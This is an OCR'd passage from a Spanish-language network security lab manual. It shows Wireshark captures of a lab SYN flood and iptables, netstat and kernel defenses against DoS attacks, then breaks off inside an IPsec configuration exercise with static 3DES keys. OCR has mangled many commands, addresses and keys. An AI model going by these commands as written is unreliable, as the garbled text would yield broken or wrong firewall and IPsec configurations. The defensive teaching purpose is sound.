115 165,405163 192, 168,1.8 182,168.1.2 TCP 62 healthd > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=L1
116 168103548 192.168.1.5 197,168.1.2 TCP 62 dellwehadnin-1 > ndmp [SYN] Seq=0 win=63335 Len=0 M35=1460 SACK_PERM=1
117 170, 992621192, 168.1. 5 182,168.1.2 TCP 62 dellwehadnin-1 > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=1
118 171, 338887192, 168,1.8 182,168.1.2 TCP 62 healthd > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=L1
119 177.027679192.168.1.5 192,168.1.2 TCP 62 dellwehadnin-1 > ndmp [SYN] Seq=0 Win=63335 Len=0 M35=1460 SACK_PERM=1
120 184.498085 192, 168.1. 8 182,168.1.2 TCP 62 emperion > ndmp [SYN] Seq=0 win=65335 Len=0 M55=1460 SACK_PERM=1
121 187.332053192,168,1.8 182,168.1.2 TCP 62 emperian » ndmp [SYN] Seq=0 win=65335 Len=0 M55=1460 SACK_PERM=1
122 190.627100192,168.1.2 192,168.1.255 BROWSEF 243 Local Master Announcement SERVIDOR, workstation, server, print Queue server, NT workstatior
123 193.570352192.168.1.8 192 168 1 ? TCP 62 emperion > ndmp [SYN] Seq=0 Win=65335 Len=0 M55=1460 SACK PERM 1

3. 2. G 1.2 62 [TCP Part numbers reused] dellwebadmin-1 » ndnp [S
125 196,943239192.168.1.5 192 168 1.2 TCP 62 dellwehadnin-1 » ndmp [SYN] Seq=0 win=63335 Len=0 Ms5=1460 SACK_PERM—I
126 202, 978295192, 168.1. 5 182,168.1.2 TCP 62 dellwehadnin-1 > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=1
127 203.120752192.168.1.5 192.168.1.2 TCP 62 dellwehadnin-2 > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=1
128 208, 995825192 168.1.5 192,168.1.2 TCP 62 delTwebadmin-2 > ndmp [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_| PERM 1
] 8.1.2 Cl 2 [P F‘HIT rnlmlw: wu:ed] p-mpmun > ndnp [SYN [in=65533 460 SACK_PERM=1

IlustraC|on 205: Reallzando analisis deI trafico con la herramienta W|reshark anaI|5|s ndmero 1.

ANALISIS CON WIRESHARK #2

63535 Len=0 MS5=1460 SACK_PERM=1

258 210, 256864 192, 168.1.8 192 168.1. 2 TCP 62 delta-mep = nonp [SYN] Seq=0 Wi

259 213.192803 192.168.1.8 192.168.1.2 TcP 62 delta-mep > ndnp [5YN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1
260 219 227943192.168.1.8 192.168.1.2 TCP 62 delta-mep » ndnp [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1

62 [TCP Port numbers reysed] ex > ndmp [SYN g=0 Win=65933 Len=0 K_PERM=]

262 222 290361 192.168.1.5 192.168.1.2 TCP 62 exhit-escp » ndmp [SYN] Seq=0 Win=63333 Len=0 M55=1460 SACK_PERM=1
263 2/8.325256192.168.1.5 192.188.1.2 TCP 62 exhit-escp » ndmp [SYN] Seq=0 Win=63535 Len=0 MS5=1460 SACK_PERM=1
264 228.417987 192.168.1.5 192.168.1.2 TcP 62 amx-icsp = ndmp [SvnN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1
205 231342784 102.168.1.5 192.168.1.2 TR 62 amx-icsp = ndmp [SYN] Seq=0 win=63533 Len=0 M35=1460 SACK_PERM=1
3 192,168.1.235 BROWSEF 243 HOst Announcement PC_03, workstation, Server, Print Queue server, NT workstation, Potential

266 233.730610192,168.1,

6 79197, 168.1.8 197.168.1.2 C 2 [TCP Port numbers reused] delta-mcp » ndmp [Sy 0 Win=A3335 Len=0 M35=1460 SACK_PERM=1
268 237.377762 192.168.1. 5 192.188.1.2 TCP 62 amx-icsp > ndmp [SYN] Seq=0 win=65335 Len=0 MS5=1460 SACK_PERM=1

269 239.043234 192.168.1.8 192.168.1.2 TcP 62 delta-mep > ndnp [5YN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1

270 245.078373192.168.1.8 192.168.1.2 TCP 62 delta-mcp > ndmp [SYN] Seq=0 Win=65335 Len=0 M55=1460 SACK_PERM=1

271 245.692676192,168,1. 8 192,168.1.2 TCP 62 wimsic » ndmp [SYN] Seq=0 Win=63335 Len=0 M55=1460 SACK_PERM=1

272 248.699391192.168.1. 8 192.168.1.2 TCP 62 wimsic » ndmp [SYN] Seq=0 Win=63335 Len=0 M35=1460 SACK_PERM=1

273 250.422863 192.168.1. 5 192.188.1.2 TCP 62 pip > ndmp [SYN] Seq=0 Win=65535 Len=0 MS5=1460 SACK_PERM=1

274 253.370682 192.168.1.5 192.168.1.2 TcP 62 pip > nomp [5YN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1

275 254.633936192.168.1.8 192.168.1.2 TCP 62 wimsic » ndmp [SYN] Seq=0 Win=63335 Len=0 M55=1460 SACK_PERM=1

llustracién 206: Realizando andlisis del trafico con la herramienta Wireshark, andlisis nimero 2.
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Resultados del ataque.

Durante el transcurso del tiempo (promedio de 40 minutos hasta que fue detenido) la
magquina donde se encontraba el servidor y la red en general no mostro ningun tipo de
consecuencia al momento de la realizacion del ataque, la velocidad de internet se
mantuvo y no mostro problemas de conexién. Se obtuvo una velocidad de descarga de

3.20 Mbps y una velocidad de subida de 0.82 Mbps.

o

Upload Speed

l @ 0. 82 Mbps

Download Speed

Your IP:
190.212.65.100 -

llustracién 207: Realizando test de velocidad de internet.

DEFENSA GENERAL CONTRA ATAQUE DoS/DDoS.

= ReglaIPTables, con estaregla se denegaran las conexiones a partir del
cuarto intento continuo.
Iptables -1 INPUT -p tcp --dport 22 -i ethO -m state --state NEW -m recent --set
Iptables -1 INPUT -p tcp --dport 22 -i ethO -m state --state NEW -m recent --update --
seconds 60 --hitcount 4 -j DROP

= COMANDO NETSTAT.
netstat -an | grep :80 | sort
Netstat -n -p | grep SYN_REC | awk {print $5} | awk -F:
{print $1}'
Netstat -n -p|grep SYN_REC | wc -
Netstat -Ipn|grep :80 |awk {print $5}'|sort
Netstat -an | grep :80 | awk '{ print $5 }' | awk -F: { print $1
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} | sort | uniq -c | sort —n.

Ejemplo de ataque SYN_RECV o SYN Flooding al Apache (puerto 80), 192.168.0.3 es la
ip del servidor apache y 192.168.0.5 es la ip del "atacante".

Cddigo saliente:

tcp 0 0192.168.0.3:80 192.168.0.5:60808 SYN_RECV
tcp 0 0192.168.0.3:80 192.168.0.5:60761 SYN_RECV tcp 0O O
192.168.0.3:80 192.168.0.5:60876 SYN_RECV tcp 0O O
192.168.0.3:80 192.168.0.5:60946 SYN_RECV
tcp 0 0192.168.0.3:80 192.168.0.5:60763 SYN_RECV tcp 0O O
192.168.0.3:80 192.168.0.5:60955 SYN_RECV
tcp 0 0192.168.0.3:80 192.168.0.5:60765 SYN_RECV .... ..

= |PTABLES.

Un objetivo por ejemplo, podriamos querer descartar todos los paquetes ICMP que
vinieran de la direccion IP 127.0.0.1.
Iptables -A INPUT -s 127.0.0.1 —p icmp -j DROP.

= PING DE LA MUERTE.

Para evitar este tipo de ataques convendria desactivar las respuestas de ping de nuestro

dispositivo en la interfaz externa. Por tanto, cambiamos la regla por ejemplo:
#Permitimos ping sélo desde la red local
Iptables -A INPUT -i ethO —p ICMP -j ACCEPT.

= PAQUETES MAL FORMADOS.

Estos ataques pueden saturar las conexiones o causar que elementos de red u otros
dispositivos conectados a la misma dejen de responder. Una regla de ejemplo de iptables
para filtrar este tipo de paquetes es:

Iptables -A FORWARD —p tcp —tcp-flags ALL NONE -j DROP
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#Filtrado de paquetes malformados
Iptables -A FORWARD —p tcp —tcp-Flags ACK,FIN FIN -j DROP
Iptables -A FORWARD —p tcp —tcp-flags ACK,PSH PSH -j DROP
Iptables -A FORWARD —p tcp —tcp-flags ACK,URG URG -j DROP
Iptables -A FORWARD —p tcp --tcp-flags FIN,RSTFIN,RST -j DROP
Iptables -A FORWARD —p tcp --tcp-flags SYN,FIN SYN,FIN-j DROP
Iptables -A FORWARD —p tcp --tcp-flags SYN,RSTSYN,RST - DROP
Iptables -A FORWARD —p tcp --tcp-flags ALL -] DROP
Iptables -A FORWARD —p tcp --tcp-flags ALL NONE -j DROP
Iptables -A FORWARD —p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
Iptables -A FORWARD —p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP
Iptables —~AFORWARD —p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
Con la siguiente linea desechamos todos los paquetes fragmentados:
#Filtrado de Paquetes fragmentados
Iptables -A FORWARD -f-j DROP

= SYN FLOOD.

SYN-Flood: El ataque SYN Flooding se aprovecha de una vulnerabilidad en la forma en
que se crean las conexiones TCP.
#Proteccién contra ataques SYN-Flood
Iptables -N Syn-flood
Iptables -A FORWARD -i ethl -p tcp --syn-j syn-flood
Iptables -A syn-flood —mlimit --limit 100/second --limit-burst 150 -j RETURN
Iptables -A syn-flood -j DRO
= PARAMETROS DE SISTEMAS OPERATIVES.

Por otro lado, se puede ser controlado en las pilas TCP/IP de los sistemas,
configurandose que no se responda a estos paquetes:

HP- UX: Los pardmetros de red a modificar en el fichero /etc/rc.config.d/nddconf son:

# Para evitar el reenvio de broadcast directo.

TRANSPORT_NAME] 1] =ip

NDD_NAME][ 1] =ip_forward_directed_broadcasts NDD_VALUE[ 1] =0

# Para evitar que la maquina responda paquetes broadcast ICMP
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TRANSPORT_NAME[2]=ipNDD_NAME[2]
=ip_respond_to_echo_broadcastNDD_VALUE[2] =0
Solaris: Para evitar el reenvio de broadcast directos se debe configurar el siguiente para
metro:
ndd-set /dev/ip ip_forward_directed_broadcasts 0

= PARAMETROS DE SISTEMAS OPERATIVOS CONTRA ATAQUE SMURF.

Para evitar que la maquina responda a paquetes broadcast ICMP se debe incluir la
siguiente linea excepto en maquinas configuradas en entornos de alta disponibilidad:
ndd-set /dev/ip ip_respond_to_echo_broadcast 0
Linux: Puede controlarse mediante un parametro del Kernel en /proc/sys/net/ipv4 el
ignorar los paquetes ICMP con direccion de broadcast o multicast:
icmp_echo_ignore_broadcast
En el caso de ser necesario también es posible deshabilitar la capacidad de responder al
ping
icmp_echo_ignore_all

= AUMENTAR EL NUMERO DE CONEXIONES TCP.

En servidores de red con un niumero alto de conexiones es necesario aumentar el nimero
maximo de conexiones TCP.

TRANSPORT_NAME [1]=tcp

NDD_NAME [1] =tcp_conn_request _max

NDD_VALUE [1] =1024

Aumentar el tamafo de la cola de conexiones TCP incompletas

TRANSPORT_NAME [ 2]=tcp

NDD_NAME[ 2] =tcp_syn_rcvd_max

NDD_VALUE] 2] =4096

Solaris, en servidores de red con un nimero alto de conexiones es necesario aumentar el
tamafio de la cola de conexiones TCP incompletas, para ello se debe incluir la siguiente
linea:

Ndd -set /dev/tcp tcp_conn_req_max_qg0 4096

En servidores de red con un nimero alto de conexiones es necesario aumentar el

namero maximo de conexiones TCP, para ello se debe incluir la siguiente linea:
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odd-set /dev/tcp tcp_conn_req_max_q 1024
Kernel 2.2 mediante el comando sysctl existe un pardmetro para controla la cola de
recepcion de las conexiones iniciadas
/sbin/sysctl-wnet.i pv4. tcp_max_syn_backl 0g=4096
Asi mismo en Linux la gestion la puede también realizar con un parametro de Kernel en
/proc/sys/net/ipv4, que permite enviar SYN cookies
tcp_syncookies/sbin/sysct |-w
net.i pv4.tcp_syncooki es=1
En Windows se afiadié una caracteristica que se encuentra en el registro regedit 32.exe
se debe localizar la clave:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcip\Parameters
Bajo la misma es necesario afiadir el valor:
Value Name: SynAttackProtect
Data Type: REG_DWORD Value:0, 1, 2
0:sin proteccion frente a ataques SYN Flood.
1: los intentos de retrasmisiéon utilizados se reducen y se introduce un retardo en la
creacion de entradas en la RCE (route cache entry) si estan configurados TcpMaxHalf
Open yTcpMaxHalf OpenRetried.
2:igual que “1” y ademas se introduce un retardo en WinSock.

» PAQUETES BROADCAST.

En el caso de paquetes de broadcast para la obtencion de informacion, como los de
mascara de red o time stamp, se pueden evitar empleando los siguientes comandos:
HP-UX y Solaris: Evita la respuesta a preguntas sobre la mascara de red:

ndd-set /dev/ip ip_respond_to_address_mask_broadcast 0

Evita responder a las preguntas de time stamp:

ndd-set /dev/ip ip_respond_to_timestamp_broadcast 0

TCP Initial Sequence Numbers

Los sistemas pueden protegerse de este ataque mediante la encriptacion del protocolo,

con IPSec, o siguiendo las recomendaciones del RFC 1948.
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En HP-UX, versiones 11 y 11i, debe aplicarse el parche de red PHNE_22397: por defecto
emplea ISN aleatorios. En versiones anteriores, por ejemplo 10.20, existe un pardmetro
para elegir el nivel de aleatoriedad en la creacion de los ISN. Se introdujo con el parche
PHNE_5361. Mediante la utilidad “nettune” es posible modificar lo:
tcp_random_seq setto 0
tcp_random_seq set to 1
tcp_random_seq set to 2
En la implementacién TCP de Solaris, para cambiar el método utilizado en la generacion
de numeros de secuencia de paquetes TCP (ISNs) y evitar la suplantacion de la direccion
IP se debe madificar el fichero /etc/default /inetinit para que indique lo siguiente:
set TCP_STRONG_| SS=2

= DOS DEFLATE.

Es un script muy sencillo disefiado para combatir el proceso de bloqueo de las direcciones
IP de nuestros atacantes. Este script utiliza el comando netstat para crear una lista de las
direcciones IP conectadas al servidor dependiendo de la cantidad de conexiones que
tenga en un determinado momento.

netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
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11.12INTERNET PROTOCOL SECURITY (IPsec).

Introduccion.

Esta practica consiste en implementar un conjunto de protocolos que proveen seguridad
al protocolo de internet (IP). Para proceder a realizar la practica nhecesitaremos Virtual Box
para correr de manera virtual las maquinas que necesitaremos para el desarrollo de la
misma, ya que IPsec puede implementarse de diferentes maneras usaremos varios
escenarios de red en los cuales se ira explicando la manera de implementar cada una de

las formas de accién de IPsec.

IPsec es un conjunto de protocolos denominado Internet Protocol Security (IPsec), cuya
funcién es asegurar las comunicaciones sobre el protocolo IP autenticando y/o cifrando
cada paquete IP en un flujo de datos. IPsec también incluye protocolos para el

establecimiento de claves de cifrado.

Objetivos.

. Disefiar pequefios escenarios para implementar diferentes maneras de uso de
IPsec.

= Instruir a cerca de cémo usar las diferentes formas de implementar IPsec.

= Sefalar los mecanismos de seguridad que provee cada uno de los modos de
IPsec.

= Probar utilizando capturas de tréafico el funcionamiento de IPsec.

Requerimientos para la realizacién de la practica.

" Virtual Box.
= Maquinas virtuales con Ubuntu (En particular se usara Ubuntu server 10.04 por
ser liviano).

Cabe destacar que todo esto se esta realizando ejecutado sobre un ordenador con
Ubuntu 12.10.
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PARTE 1: IPSEC CON CLAVES ESTATICAS EN LA MISMA
SUBRED (MODO TRANSPORTE).

El objetivo de esta parte de la practica es establecer una conexion IPsec entre dos hosts
situados en la misma subred. La topologia se muestra a continuacion.

etho ethl
192.168.100.1 192.168.101.1

= =]

H1 H2
192.168.100.2 192.168.101.2

llustracion 208: Escenario a desarrolla, aplicando el medio de defensa IPsec.

Para esta parte de la practica necesitaremos lo siguiente:

e 3 maquinas virtuales con Ubuntu Server 10.04 (H1, H2, R1).

e 2 redes Solo Anfitrion de Virtual Box.

Configuracién de redes Solo Anfitrién:

Propiedad Vboxnet0 Vboxnetl

Direccion IPv4

192.168.100.254

192.168.101.254

Méscara de Red IPv4

255.255.255.0

255.255.255.0

Servidor DHCP

Desactivado

Desactivado

Asociacion de Adaptadores de red de las maquinas virtuales a las redes solo anfitrion.

H1

Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnetO.

H2
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Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnet1.

R1
Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnetO.
Adaptador 2 Conectado a: Adaptador Solo Anfitrién vboxnetl.

Configuracién de red para las maquinas virtuales.

H1

Direccion IP: 192.168.100.2
Mascara: 255.255.255.0
Gateway: 192.168.100.1
H2

Direccion IP: 192.168.101.2
Mascara: 255.255.255.0
Gateway: 192.168.101.1

R1

EthO

Direccion IP: 192.168.100.1
Mascara: 255.255.255.0

Eth1l
Direccion IP: 192.168.101.1
Mascara: 255.255.255.0

Configuracion de IPsec.

En este caso se debe configurar IPsec en las dos maquinas en las cuales se establecera
la conexion IPsec, para configurar IPsec se utilizard la utilidad ipsec-tools, la cual debe
de ser instalada en H1 y H2, para instalar el paquete es suficiente teclear el comando apt-

get install ipsec-tools.
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Una vez instalado el paquete necesario se procede a configurar el archivo /etc/ipsec-
tools.conf en ambas méaquinas.

Para H1 la configuracion seria la siguiente:

flush;l
spdflush;

#SAs para ESP
add 192.168.100.2 192.168.161.2 esp 0x201 -E 3des-cbc 0x47f5d781c248031206882484d8c6eT083a099bef3ebdaass;
add 192.168.101.2 192.168.160.2 esp 0x301 -E 3des-cbc 0x47f5d781c248031206882484d8c6eT083a099bef3ebdaass;

#Politicas de seguridad
spdadd 192.168.100.2 192.168.101.2 any -P out ipsec
esp/transport//require;

spdadd 192.168.101.2 192.168.106.2 any -P in ipsec
esp/transport//require;

llustracion 209: configurando el archivo /etc/ipsec-tools.conf en H1.

Y para H2:

flush;l
spdflush;

fSAs para ESP

add 192.168.100.2 192.168.101.2 esp 0x201 -E 3des-cbc 0x47f5d781c248031206882484d8c6ef083a099bef3ebdaasdy;
add 192.168.161.2 192.168.100.2 esp 0x301 -E 3des-cbc 8x47f5d781c248031206882484d8c6efBB3af99bef3ebdaady;

Politicas de seguridad
pdadd 192.168.100.2 192.168.101.2 any -P in ipsec
esp/transport//require;

pdadd 192.168.101.2 192.168.100.2 any -P out ipsec
esp/transport//require;

llustracion 210: configurando el archivo /etc/ipsec-tools.conf en H2.

Si nos fijamos la configuracién en ambas maquinas es idéntica, solo cambia la seccién de
politicas de seguridad, indicando el cambio de direccion de las politicas. Una vez que
ambos archivos estén listos deben ser afiadidos al nucleo con el siguiente comando
setkey-f /etc/ipsec-tools.conf.

A continuacion se hace una pequefia configuracion en R1, la cual es nuestra maquina
virtual que esta funcionando como un router. Para poder hacer enrutamiento en R1 es
necesario el siguiente comando echo “1” >> /proc/sys/net/ipv4/ip_forward, con ese

sencillo comando R1 sera capaz de funcionar como router.
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Si todo esta bien ahora deberiamos de gozar de una conexién IPsec entre H1 y H2, es
decir que todos los paquetes que ahora se envien entre ambos deberan estar protegidos
por IPsec.

Como se puede observar el archivo ipsec-tools.conf consta de 2 secciones, una en
donde se especifican las asociaciones de seguridad (SA) de IPsec y la otra en donde se
configuran las politicas de seguridad, primeramente en el archivo de configuracién se
limpian configuraciones anteriores (si las hubiera) y se configuran los nuevos parametros

de la Association Database.

Como se dijo anteriormente el primer bloque contiene la configuracién de las SA, de lo
que se explica brevemente a continuacion: se configuré IPsec usando el protocolo ESP
para establecer la SA, se escogié Triple DES in Cipher Block Chaining mode para la
encriptacion, también se configuré el security parameter index (SPI) para esta conexion.
También podemos observar al final de la linea de configuracion de las SA la clave
asociada.

Explicando un poco la segunda parte del archivo de configuracién, en donde estan las
politicas de seguridad se puede ver que se usa la palabra spdadd para especificar los
hosts finales en lo que se configura IPsec especificando la direccion de la conexion.

También se especifica que se estd usando modo transporte y el protocolo ESP.

Las Asociaciones de Seguridad y las Politicas de Seguridad deben ser configuradas en
ambas direcciones de la conexion, es por eso que hay 2 lineas de SAs y 2 de Politicas de

Seguridad.

Para probar el funcionamiento de la conexion IPsec se procede a hacer un ping entre H1
y H2 haciendo una captura del trafico con tcpdump. Para hacer el ping y capturar el trafico
lo hacemos con el comando ping 192.168.100.2 | tcpdump —v —i ethO | grep ESP.
Podemos ejecutar el ping desde cualquiera de las dos maquinas hacia la otra e
interceptar el tréfico en la interfaz de red de cualquiera de las dos, en este caso el ping se
ejecuta desde H1 hacia H2 interceptando el trafico en ethO de H1 y filtrando el protocolo
ESP.
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Observando la captura de trafico nos muestra que el protocolo ESP esta funcionando, por
tanto nuestras cargas IP poseen confidencialidad ya que se encuentran encriptadas
usando ESP. Las claves de encriptacion se encuentran en el archivo ipsec-tools.conf

Parte 2: Conexion IPsec con claves estaticas entre hosts de diferentes subredes
(Modo Tunel).

En esta parte vamos a establecer una asociacién de seguridad en modo tunel entre los
Gateway 10.24.100.15 y 10.24.100.37. El modo tunel garantiza seguridad a la informacién
fluyendo dentro del tanel que encripta la informacién utilizando ESP. A continuacién se
muestra la topologia a utilizar.

H1 H2
192.168.10.2 etht eth etht ethl 192.168.12.2

192.168.10.1 110.24.100.15 10.24.100.37 192.168.12.1

~ u IPsec Tunnel : | =

llustracion 211: Escenario a desarrollar par para aplicar IPSEC modo tunel y claves estéticas.

Para esta parte de la practica necesitaremos lo siguiente:

e 4 maquinas virtuales con Ubuntu Server 10.04 (H1, H2, R1, R1).

e 3 redes Solo Anfitrion de Virtual Box.

Configuracién de redes Solo Anfitrién:

Propiedad Vboxnet0 Vboxnetl Vboxnet2
Direccion IPv4 192.168.10.254 10.24.100.254 192.168.12.254
Mascara de Red IPv4 255.255.255.0 255.255.255.0 255.255.255.0
Servidor DHCP Desactivado Desactivado Desactivado

Asociacion de Adaptadores de red de las maquinas virtuales a las redes solo anfitrion.

H1
Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnetO.
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H2
Adaptador 1 Conectado a: Adaptador Solo Anfitrion vboxnet2.

R1
Adaptador 1 Conectado a: Adaptador Solo Anfitrién vboxnet1.
Adaptador 2 Conectado a: Adaptador Solo Anfitrion vboxnetO.

R2
Adaptador 1 Conectado a: Adaptador Solo Anfitrién vboxnet1.
Adaptador 2 Conectado a: Adaptador Solo Anfitrién vboxnet2.

Configuracion de red para las méquinas virtuales.

H1

Direccion IP: 192.168.10.2
Mascara: 255.255.255.0
Gateway: 192.168.10.1

H2

Direccion IP: 192.168.12.2
Mascara: 255.255.255.0
Gateway: 192.168.12.1

R1

EthO

Direccion IP: 10.24.100.15
Mascara: 255.255.255.0
Gateway: 10.24.100.37

Ethl
Direccion IP: 192.168.10.1
Mascara: 255.255.255.0
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R2

EthO

Direccion IP: 10.24.100.37
Mascara: 255.255.255.0
Gateway: 10.24.100.15

Ethl

Direccion IP: 192.168.12.1
Mascara: 255.255.255.0
Configuracién IPsec.

Esta vez estamos configurando IPsec en modo tunel, por tanto debemos formar este tlnel
IPsec en los gateways, es decir R1 y R2, por lo que esta vez la configuracion se centrara
Unicamente en ellos. En este caso no se configurara IPsec de ninguna manera en H1 ni
H2. Este tunel se formara en las interfaz ethO de R1 y ethO de R2, con las direcciones IP
10.24.100.15 y 10.24.100.37 respectivamente. En esta parte de la practica también es
necesario el paquete ipsec-tools, pero esta vez debe ser instalado en las maquinas que
esta funcionando como router, es decir R1 y R2, por tanto debe ser instalado con el

comando apt-get install ipsec-tools en R1y R2.

A continuacién se muestra el archivo de configuracion ipsec-tools.conf de R2, esta
configuracion se hace en base a la interfaz eht0 que es la que esta del lado del tanel
IPsec, por tanto la direccion seria 10.24.100.37, en R1 la configuracion es idéntica, solo

cambia el sentido de las politicas de seguridad, es decir la direccion de la conexion.

El archivo de /etc/ipsec-tools.conf en R2 quedaria asi:

»

add 10.24.100.15 10.24.100.37 esp 0x015ed985 -m tunnel -E 3des-cbc 0x7aeaca3f87d060al2f4a4487d5a5¢c3355920fae69a96c831;
add 10.24.100.37 10.24.100.15 esp 0x04786b7e -m tunnel -E 3des-cbc @xf6ddb555acfd9d77b03ea384372653255afe8eb5573965df;

#Politicas de seguridad

spdadd 192.168.12.0/24 192.168.10.0/24 any -P out ipsec
esp/tunnel/10.24.100.37-10.24.100.15/require;

spdadd 192.168.10.0/24 192.168.12.0/24 any -P in ipsec
esp/tunnel/10.24.100.15-10.24.100.37/require;

llustracion 212: Configurando el archivo /etc/ipsec-tools.conf en R2.
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Y el de R1, que en este caso se esta configurando ethO que es la interfaz que esta de
lado del tunel IPsec con la direccion 10.24.100.15, queda configurado asi:

##ESP SAs using 192 bit long keys
add 10.24.100.15 10.24.100.37 esp 0x015ed985 -m tunnel -E 3des-cbc 0x7aeaca3f87d060al2f4ad4487d5a5c3355920fae69a96¢c831;
add 10.24.100.37 10.24.100.15 esp 0x04786b7e -m tunnel -E 3des-cbc @xféddb555acfdod77bo3ea3843f2653255afeB8eb5573965df;

#Politicas de seguridad

spdadd 192.168.10.0/24 192.168.12.0/24 any -P out ipsec
esp/tunnel/16.24.100.15-10.24.100.37 /require;

spdadd 192.168.12.0/24 192.168.10.0/24 any -P in ipsec
esp/tunnel/10.24.100.37-10.24.100.15/require;

llustracion 213: Configurando el archivo /etc/ipsec-tools.conf en R1.

Una vez que ambos archivos estén listos deben ser afiadidos al nucleo con el siguiente

comando setkey-f /etc/ipsec-tools.conf.

Es necesario configurar R1 y R2 para que sean capaces de hacer enrutamiento, para eso
basta con el sencillo comando echo “1” >> /foroc/sys/net/ipv4/ip_forward. Con esto
tendriamos nuestras maquinas virtuales R1 y R2 con la capacidad de funcionar como

routers.

Si todo estd bien ahora nuestro tunel IPsec configurado en los routers debe estar

funcionando.

Al igual que en la parte anterior de la practica los archivos ipsec-tools.conf constan de dos
blogues, una en donde se configuran las asociaciones de seguridad (el primer bloque) y

otra en donde se configuran las politicas de seguridad (el segundo bloque).

En este caso IPsec esta configurado en modo tanel usando el protocolo ESP para
establecer la SA y se escogié Triple DES in Cipher Block Chaining mode para la
encriptaciéon. También se configuré el security parameter index (SPI) para esta conexién y

contiene también la clave asociada.

Las Politicas de Seguridad estdn configuradas de la siguiente manera: se usa la palabra
spdadd para especificar los dos hosts finales que forman parte de la conexién IPsec (en
este caso R1 y R2) y ahi mismo se especifica la direccion de la politica de seguridad.

También se especifica que la SA esta configurada en modo tunel y con protocolo ESP.
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Las Asociaciones de Seguridad y las Politicas de Seguridad deben ser configuradas en
ambas direcciones de la conexion, es por eso que hay 2 lineas de SAs y 2 de Politicas de
Seguridad.

Ahora podemos probar la conexién haciendo un ping desde H1 a H2 o viceversa y
haciendo una captura del tréfico en cualquiera de las interfaces de los routers. A

continuacién se muestra lo obtenido en la captura de tréfico.

13 3.007416 192.168.10.2 192.168.12.2 ICMP 98 Echo (ping) request id=6x1de4, seq=11/2816, ttl=63
15 4.809511 ‘1@.24.1@@.15 |1@.24.1@@.37 |ESP | 138 ESP (SPI=8x015ed985
16 4.009610 192.168.10.2 192.168.12.2 ICMP 98 Echo (ping) request id=8x1de4, seq=12/3672, ttl=63
17 4.013570 10.24.100.37 10.24.100.15 ESP 138 ESP (SPI=0x84786b7e
18 5.010424 10.24.100.15 10.24.100.37 ESP 138 ESP (SPI=0x015ed985
19 5.010525 192.168.10.2 192.168.12.2 ICMP 98 Echo (ping) request id=6x1de4, seq=13/3328, ttl=63
20 5.011901 10.24.100.37 10.24.100.15 ESP 138 ESP (SPI=8x04786b7e
21 6.018841 10.24.100.15 10.24.100.37 ESP 138 ESP (SPI=8x015ed985
22 6.011170 192.168.10.2 192.168.12.2 ICMP 98 Echo (ping) request 1id=8x1de4, seq=14/3584, ttl=63
23 6.012663 10.24.100.37 10.24.100.15 ESP 138 ESP (SPI=0x04786b7e
24 7.012270 10.24.100.15 10.24.100.37 ESP 138 ESP (SPI=0x015ed985
25 7.012350 192.168.10.2 192.168.12.2 ICMP 98 Echo (pina) request id=6x1de4. sea=15/3840. titl=63

rame 14: 138 bytes on wire (1184 bits), 90 bytes captured (720 bits)

thernet II, Src: CadmusCo 6e:97:bd (08:00:27:6e:97:bd), Dst: CadmusCo 8f:33:a2 (08:00:27:8f:33:a2)
nternet Protocol Version 4, Src: 10.24.100.37 (10.24.100.37), Dst: 10.24.100.15 (16.24.100.15)
ncapsulating Security Payload

ESP SPI: 0x04786b7e (75000702)

ESP Seguence: 634

llustracion 214: Realizando andlisis de trafico con Wireshark.

Revisando un poco la captura se puede apreciar que hay paquetes ESP en ambas
direcciones pero Unicamente paquetes ICMP de solicitud y no de respuesta. Esto es
porque el paquete entrante es descriptado en la interfaz externa de R2 (10.24.100.37)
mientras que el saliente tiene habilitado IPsec en la interfaz interna 192.168.12.1 y asi por

el momento en que alcanza la interfaz 10.24.100.37, es ya habilitado IPsec.

En este caso IPsec Unicamente provee confidencialidad, no estamos usando AH ni
estamos usando los servicios de autenticacion e integridad que provee ESP, esta no es
una forma segura de usar una conexién IPsec. El protocolo criptogréafico utilizado en esta
configuracion es 3DES-CBC con una clave de 192bit. S6lo se usa Unicamente la opcién

de encriptado.

Al estar usando el modo tunel de IPsec la cabecera IP original es encriptadas y una nueva
es creada la cual contiene los puntos finales de tinel IPsec como direcciones fuente y
destino. Si bien sabemos la conexion fue establecida entre H1 (192.168.10.2) y H2
(192.168.12.2) pero la cabecera IP muestra a R1 (10.24.100.15) y R2 (10.24.100.37)

como fuente y destino respectivamente.

Unan-Leén Pagina 269




Practica de IPSEC.

Parte 3: Conexion IPsec con claves estaticas entre hosts de diferentes subredes

(Modo Transporte).

En esta parte de la practica se usara la misma topologia utilizada en la parte 2, solo que
esta vez configuraremos los hosts finales, es decir H1 y H2. Es necesario eliminar la
configuracion hecha en R1 y R2. Se establecera una conexion IPsec en modo transporte
entre H1 y H2.

El modo transporte garantiza seguridad de fin a fin de toda la informacion transmitida

entre los hosts, utilizando el protocolo de IPsec ESP.

A continuacion se muestran los archivos de configuracion ipsec-tools.conf necesarios en

H1 y H2 para establecer la conexién IPsec.

Para H1:

GNU nano 2.2.2

Archivo: etc/ipsec-tools.conf Modificado

#1 fusr/sbin/setkey -T
## Flush the SAD and SPD

flush;
spdflush;

#SAs para ESP

add 192.168.12.2 192.168.10.2 esp 0x201 -E 3des-cbc ®x7aeaca3f87decBal2f4a4487d5a5c3355920fae69a96c831;
